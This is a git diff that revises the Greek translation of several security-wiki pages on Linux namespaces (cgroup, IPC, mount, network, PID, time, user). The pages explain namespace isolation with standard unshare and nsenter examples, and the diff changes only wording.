`--ipc=host`, `--uts=host`** των μηχανών κοντέινερ. {{#tabs}} {{#tab name="Inside default privileged container"}} @@ -203,7 +203,7 @@ PID USER TIME COMMAND ### Χώρος ονομάτων χρήστη -**Από προεπιλογή, οι μηχανές κοντέινερ δεν χρησιμοποιούν χώρους ονομάτων χρηστών, εκτός από τα κοντέινερ χωρίς δικαιώματα root**, τα οποία τα απαιτούν για την τοποθέτηση συστήματος αρχείων και τη χρήση πολλαπλών UIDs. Οι χώροι ονομάτων χρηστών, που είναι αναγκαίοι για τα κοντέινερ χωρίς δικαιώματα root, δεν μπορούν να απενεργοποιηθούν και ενισχύουν σημαντικά την ασφάλεια περιορίζοντας τα δικαιώματα. +**Από προεπιλογή, οι μηχανές κοντέινερ δεν χρησιμοποιούν χώρους ονομάτων χρηστών, εκτός από τα κοντέινερ χωρίς δικαιώματα χρήστη**, τα οποία τα απαιτούν για την τοποθέτηση συστήματος αρχείων και τη χρήση πολλαπλών UIDs. Οι χώροι ονομάτων χρηστών, που είναι αναγκαίοι για τα κοντέινερ χωρίς δικαιώματα χρήστη, δεν μπορούν να απενεργοποιηθούν και ενισχύουν σημαντικά την ασφάλεια περιορίζοντας τα προνόμια. ## Αναφορές diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index c4b75e50d..1edab99a7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -12,7 +12,7 @@ 1. Όταν δημιουργείται ένα νέο cgroup namespace, **ξεκινά με μια άποψη της ιεραρχίας cgroup βασισμένη στην cgroup της διαδικασίας που το δημιουργεί**. Αυτό σημαίνει ότι οι διαδικασίες που εκτελούνται στο νέο cgroup namespace θα βλέπουν μόνο ένα υποσύνολο της συνολικής ιεραρχίας cgroup, περιορισμένο στην υποδένδρο cgroup που έχει ρίζα την cgroup της διαδικασίας που το δημιουργεί. 2. Οι διαδικασίες εντός ενός cgroup namespace θα **βλέπουν τη δική τους cgroup ως τη ρίζα της ιεραρχίας**. Αυτό σημαίνει ότι, από την προοπτική των διαδικασιών μέσα στο namespace, η δική τους cgroup εμφανίζεται ως η ρίζα, και δεν μπορούν να δουν ή να έχουν πρόσβαση σε cgroups εκτός του δικού τους υποδένδρου. -3. Τα cgroup namespaces δεν παρέχουν άμεση απομόνωση πόρων; **παρέχουν μόνο απομόνωση της άποψης της ιεραρχίας cgroup**. **Ο έλεγχος και η απομόνωση πόρων επιβάλλονται ακόμα από τα ίδια τα υποσυστήματα cgroup** (π.χ., cpu, μνήμη, κ.λπ.). +3. Τα cgroup namespaces δεν παρέχουν άμεση απομόνωση πόρων; **παρέχουν μόνο απομόνωση της άποψης της ιεραρχίας cgroup**. **Ο έλεγχος και η απομόνωση πόρων επιβάλλονται ακόμα από τα υποσυστήματα cgroup** (π.χ., cpu, μνήμη, κ.λπ.) αυτά καθαυτά. Για περισσότερες πληροφορίες σχετικά με τα CGroups ελέγξτε: @@ -38,7 +38,7 @@ sudo unshare -C [--mount-proc] /bin/bash 1. **Εξήγηση Προβλήματος**: -- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. +- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργήσει νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. - Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace. - Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace. @@ -69,7 +69,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep ``` -### Είσοδος σε ένα namespace CGroup +### Είσοδος σε ένα CGroup namespace ```bash nsenter -C TARGET_PID --pid /bin/bash ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 520e640d1..bbf9b9ef5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -26,7 +26,7 @@ sudo unshare -i [--mount-proc] /bin/bash Σφάλμα: bash: fork: Cannot allocate memory -Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω: +Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux διαχειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω: 1. **Εξήγηση Προβλήματος**: @@ -36,7 +36,7 @@ sudo unshare -i [--mount-proc] /bin/bash 2. **Συνέπεια**: -- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα η συνάρτηση `alloc_pid` να αποτύχει να κατανομήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory". +- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα η συνάρτηση `alloc_pid` να αποτύχει να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory". 3. **Λύση**: - Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace. @@ -65,7 +65,7 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | g ```bash nsenter -i TARGET_PID --pid /bin/bash ``` -Επίσης, μπορείτε να **εισέλθετε σε άλλο namespace διαδικασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτό (όπως το `/proc/self/ns/net`). +Επίσης, μπορείτε να **μπείτε σε άλλη διαδικασία namespace μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλη namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτήν (όπως το `/proc/self/ns/net`). ### Δημιουργία αντικειμένου IPC ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 3b3633d56..320f02ad1 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -43,7 +43,7 @@ sudo unshare -m [--mount-proc] /bin/bash 3. **Λύση**: - Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία του νέου PID namespace. -- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι τότε ασφαλώς περιορισμένες μέσα σε αυτό το νέο namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. +- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτό το νέο namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης. @@ -53,7 +53,7 @@ sudo unshare -m [--mount-proc] /bin/bash ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Ελέγξτε σε ποιο namespace βρίσκεται η διαδικασία σας +### Ελέγξτε ποιο namespace είναι η διαδικασία σας ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' @@ -72,9 +72,9 @@ findmnt ```bash nsenter -m TARGET_PID --pid /bin/bash ``` -Επίσης, μπορείτε να **μπείτε σε άλλη διαδικασία namespace μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτό (όπως το `/proc/self/ns/mnt`). +Επίσης, μπορείτε να **μπείτε σε άλλη διαδικασία namespace μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλη namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτήν (όπως το `/proc/self/ns/mnt`). -Επειδή οι νέες προσβάσεις είναι προσβάσιμες μόνο εντός του namespace, είναι πιθανό ένα namespace να περιέχει ευαίσθητες πληροφορίες που μπορούν να είναι προσβάσιμες μόνο από αυτό. +Επειδή οι νέες προσβάσεις είναι προσβάσιμες μόνο εντός της namespace, είναι πιθανό μια namespace να περιέχει ευαίσθητες πληροφορίες που μπορούν να είναι προσβάσιμες μόνο από αυτήν. ### Mount something ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 909c03277..e8b5e2e41 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -42,9 +42,9 @@ sudo unshare -n [--mount-proc] /bin/bash 3. **Λύση**: - Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace. -- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιεχόμενες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. +- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι τότε ασφαλώς περιορισμένες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. -Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης. +Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να συναντούν το σφάλμα κατανομής μνήμης. @@ -68,7 +68,7 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g ```bash nsenter -n TARGET_PID --pid /bin/bash ``` -Επίσης, μπορείτε να **μπείτε σε άλλη διαδικασία namespace μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτό (όπως το `/proc/self/ns/net`). +Επίσης, μπορείτε να **μπείτε σε άλλη διαδικασία namespace μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλη namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτήν (όπως το `/proc/self/ns/net`). ## Αναφορές diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index a595dc583..ef9e9abcc 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -8,13 +8,13 @@ Όταν δημιουργείται ένα νέο PID namespace, η πρώτη διεργασία σε αυτό το namespace ανατίθεται PID 1. Αυτή η διεργασία γίνεται η "init" διεργασία του νέου namespace και είναι υπεύθυνη για τη διαχείριση άλλων διεργασιών εντός του namespace. Κάθε επόμενη διεργασία που δημιουργείται εντός του namespace θα έχει έναν μοναδικό PID εντός αυτού του namespace, και αυτοί οι PIDs θα είναι ανεξάρτητοι από τους PIDs σε άλλους namespaces. -Από την προοπτική μιας διεργασίας εντός ενός PID namespace, μπορεί να δει μόνο άλλες διεργασίες στο ίδιο namespace. Δεν είναι ενήμερη για διεργασίες σε άλλους namespaces και δεν μπορεί να αλληλεπιδράσει μαζί τους χρησιμοποιώντας παραδοσιακά εργαλεία διαχείρισης διεργασιών (π.χ., `kill`, `wait`, κ.λπ.). Αυτό παρέχει ένα επίπεδο απομόνωσης που βοηθά στην αποφυγή παρεμβολών μεταξύ των διεργασιών. +Από την προοπτική μιας διεργασίας εντός ενός PID namespace, μπορεί να δει μόνο άλλες διεργασίες στο ίδιο namespace. Δεν είναι ενήμερη για διεργασίες σε άλλα namespaces και δεν μπορεί να αλληλεπιδράσει μαζί τους χρησιμοποιώντας παραδοσιακά εργαλεία διαχείρισης διεργασιών (π.χ., `kill`, `wait`, κ.λπ.). Αυτό παρέχει ένα επίπεδο απομόνωσης που βοηθά στην αποφυγή παρεμβολών μεταξύ των διεργασιών. ### How it works: 1. Όταν δημιουργείται μια νέα διεργασία (π.χ., χρησιμοποιώντας την κλήση συστήματος `clone()`), η διεργασία μπορεί να ανατεθεί σε ένα νέο ή υπάρχον PID namespace. **Εάν δημιουργηθεί ένα νέο namespace, η διεργασία γίνεται η "init" διεργασία αυτού του namespace**. 2. Ο **πυρήνας** διατηρεί μια **χαρτογράφηση μεταξύ των PIDs στο νέο namespace και των αντίστοιχων PIDs** στο γονικό namespace (δηλαδή, το namespace από το οποίο δημιουργήθηκε το νέο namespace). Αυτή η χαρτογράφηση **επιτρέπει στον πυρήνα να μεταφράσει τους PIDs όταν είναι απαραίτητο**, όπως όταν στέλνει σήματα μεταξύ διεργασιών σε διαφορετικά namespaces. -3. **Οι διεργασίες εντός ενός PID namespace μπορούν να βλέπουν και να αλληλεπιδρούν μόνο με άλλες διεργασίες στο ίδιο namespace**. Δεν είναι ενήμερες για διεργασίες σε άλλους namespaces και οι PIDs τους είναι μοναδικοί εντός του namespace τους. +3. **Οι διεργασίες εντός ενός PID namespace μπορούν να βλέπουν και να αλληλεπιδρούν μόνο με άλλες διεργασίες στο ίδιο namespace**. Δεν είναι ενήμερες για διεργασίες σε άλλα namespaces και οι PIDs τους είναι μοναδικοί εντός του namespace τους. 4. Όταν ένα **PID namespace καταστρέφεται** (π.χ., όταν η "init" διεργασία του namespace τερματίζεται), **όλες οι διεργασίες εντός αυτού του namespace τερματίζονται**. Αυτό διασφαλίζει ότι όλοι οι πόροι που σχετίζονται με το namespace καθαρίζονται σωστά. ## Lab: @@ -34,16 +34,16 @@ sudo unshare -pf --mount-proc /bin/bash 1. **Εξήγηση Προβλήματος**: - Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. -- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace. +- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Κατά συνέπεια, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace. - Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace. 2. **Συνέπεια**: -- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανεμηθεί ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory". +- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα η συνάρτηση `alloc_pid` να αποτύχει να κατανομήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory". 3. **Λύση**: - Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace. -- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. +- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες περιέχονται με ασφάλεια μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 0b1b07cbc..8b629fe97 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -4,7 +4,7 @@ ## Βασικές Πληροφορίες -Το χρονικό όριο στο Linux επιτρέπει τις μετατοπίσεις ανά namespace στους συστήματος μονοτονικούς και χρόνους εκκίνησης ρολογιών. Χρησιμοποιείται συνήθως σε κοντέινερ Linux για να αλλάξει την ημερομηνία/ώρα εντός ενός κοντέινερ και να ρυθμίσει τα ρολόγια μετά την αποκατάσταση από ένα σημείο ελέγχου ή στιγμιότυπο. +Το χρονικό όριο στο Linux επιτρέπει τις μετατοπίσεις ανά namespace στους συστημικούς μονοτονικούς και χρόνους εκκίνησης ρολογιών. Χρησιμοποιείται συνήθως σε κοντέινερ Linux για να αλλάξει την ημερομηνία/ώρα εντός ενός κοντέινερ και να ρυθμίσει τα ρολόγια μετά την αποκατάσταση από ένα σημείο ελέγχου ή στιγμιότυπο. ## Εργαστήριο: @@ -24,7 +24,7 @@ sudo unshare -T [--mount-proc] /bin/bash 1. **Εξήγηση Προβλήματος**: -- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. +- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργήσει νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν. - Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace. - Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace. @@ -36,7 +36,7 @@ sudo unshare -T [--mount-proc] /bin/bash - Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace. - Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID. -Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να συναντούν το σφάλμα κατανομής μνήμης. +Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης. @@ -44,7 +44,7 @@ sudo unshare -T [--mount-proc] /bin/bash ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Ελέγξτε σε ποια ονοματολογία βρίσκεται η διαδικασία σας +### Ελέγξτε σε ποιο namespace βρίσκεται η διαδικασία σας ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index d05b7086e..810f23e26 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -4,15 +4,15 @@ ## Basic Information -Ένα user namespace είναι μια δυνατότητα του πυρήνα Linux που **παρέχει απομόνωση των αναγνωριστικών χρηστών και ομάδων**, επιτρέποντας σε κάθε user namespace να έχει το **δικό του σύνολο αναγνωριστικών χρηστών και ομάδων**. Αυτή η απομόνωση επιτρέπει σε διαδικασίες που εκτελούνται σε διαφορετικά user namespaces να **έχουν διαφορετικά προνόμια και ιδιοκτησία**, ακόμη και αν μοιράζονται τα ίδια αναγνωριστικά χρηστών και ομάδων αριθμητικά. +Ένα user namespace είναι μια δυνατότητα του πυρήνα Linux που **παρέχει απομόνωση των αναγνωριστικών χρηστών και ομάδων**, επιτρέποντας σε κάθε user namespace να έχει το **δικό του σύνολο αναγνωριστικών χρηστών και ομάδων**. Αυτή η απομόνωση επιτρέπει σε διαδικασίες που εκτελούνται σε διαφορετικά user namespaces να **έχουν διαφορετικά δικαιώματα και ιδιοκτησία**, ακόμη και αν μοιράζονται τα ίδια αναγνωριστικά χρηστών και ομάδων αριθμητικά. Τα user namespaces είναι ιδιαίτερα χρήσιμα στην κοντεντοποίηση, όπου κάθε κοντέινερ θα πρέπει να έχει το δικό του ανεξάρτητο σύνολο αναγνωριστικών χρηστών και ομάδων, επιτρέποντας καλύτερη ασφάλεια και απομόνωση μεταξύ των κοντεϊνερ και του συστήματος φιλοξενίας. ### How it works: -1. Όταν δημιουργείται ένα νέο user namespace, **ξεκινά με ένα κενό σύνολο αναγνωριστικών χρηστών και ομάδων**. Αυτό σημαίνει ότι οποιαδήποτε διαδικασία εκτελείται στο νέο user namespace θα **έχει αρχικά κανένα προνόμιο εκτός του namespace**. -2. Τα αναγνωριστικά μπορούν να καθοριστούν μεταξύ των αναγνωριστικών χρηστών και ομάδων στο νέο namespace και εκείνων στο γονικό (ή κεντρικό) namespace. Αυτό **επιτρέπει στις διαδικασίες στο νέο namespace να έχουν προνόμια και ιδιοκτησία που αντιστοιχούν σε αναγνωριστικά χρηστών και ομάδων στο γονικό namespace**. Ωστόσο, τα αναγνωριστικά μπορούν να περιοριστούν σε συγκεκριμένα εύρη και υποσύνολα αναγνωριστικών, επιτρέποντας λεπτομερή έλεγχο των προνομίων που χορηγούνται σε διαδικασίες στο νέο namespace. -3. Μέσα σε ένα user namespace, **οι διαδικασίες μπορούν να έχουν πλήρη προνόμια root (UID 0) για λειτουργίες μέσα στο namespace**, ενώ εξακολουθούν να έχουν περιορισμένα προνόμια εκτός του namespace. Αυτό επιτρέπει **στα κοντέινερ να εκτελούνται με ικανότητες παρόμοιες με του root μέσα στο δικό τους namespace χωρίς να έχουν πλήρη προνόμια root στο σύστημα φιλοξενίας**. +1. Όταν δημιουργείται ένα νέο user namespace, **ξεκινά με ένα κενό σύνολο αναγνωριστικών χρηστών και ομάδων**. Αυτό σημαίνει ότι οποιαδήποτε διαδικασία εκτελείται στο νέο user namespace θα **έχει αρχικά κανένα δικαίωμα εκτός του namespace**. +2. Τα αναγνωριστικά μπορούν να καθοριστούν μεταξύ των αναγνωριστικών χρηστών και ομάδων στο νέο namespace και εκείνων στο γονικό (ή κεντρικό) namespace. Αυτό **επιτρέπει στις διαδικασίες στο νέο namespace να έχουν δικαιώματα και ιδιοκτησία που αντιστοιχούν σε αναγνωριστικά χρηστών και ομάδων στο γονικό namespace**. Ωστόσο, τα αναγνωριστικά μπορούν να περιοριστούν σε συγκεκριμένα εύρη και υποσύνολα αναγνωριστικών, επιτρέποντας λεπτομερή έλεγχο πάνω στα δικαιώματα που παραχωρούνται στις διαδικασίες στο νέο namespace. +3. Μέσα σε ένα user namespace, **οι διαδικασίες μπορούν να έχουν πλήρη δικαιώματα root (UID 0) για λειτουργίες μέσα στο namespace**, ενώ εξακολουθούν να έχουν περιορισμένα δικαιώματα εκτός του namespace. Αυτό επιτρέπει **στα κοντέινερ να εκτελούνται με ικανότητες παρόμοιες με του root μέσα στο δικό τους namespace χωρίς να έχουν πλήρη δικαιώματα root στο σύστημα φιλοξενίας**. 4. Οι διαδικασίες μπορούν να μετακινούνται μεταξύ namespaces χρησιμοποιώντας την κλήση συστήματος `setns()` ή να δημιουργούν νέα namespaces χρησιμοποιώντας τις κλήσεις συστήματος `unshare()` ή `clone()` με την σημαία `CLONE_NEWUSER`. Όταν μια διαδικασία μετακινείται σε ένα νέο namespace ή δημιουργεί ένα, θα αρχίσει να χρησιμοποιεί τα αναγνωριστικά χρηστών και ομάδων που σχετίζονται με αυτό το namespace. ## Lab: @@ -33,7 +33,7 @@ sudo unshare -U [--mount-proc] /bin/bash 1. **Εξήγηση Προβλήματος**: -- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργήσει νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία ενός νέου PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στο νέο namespace; μόνο οι παιδικές της διαδικασίες το 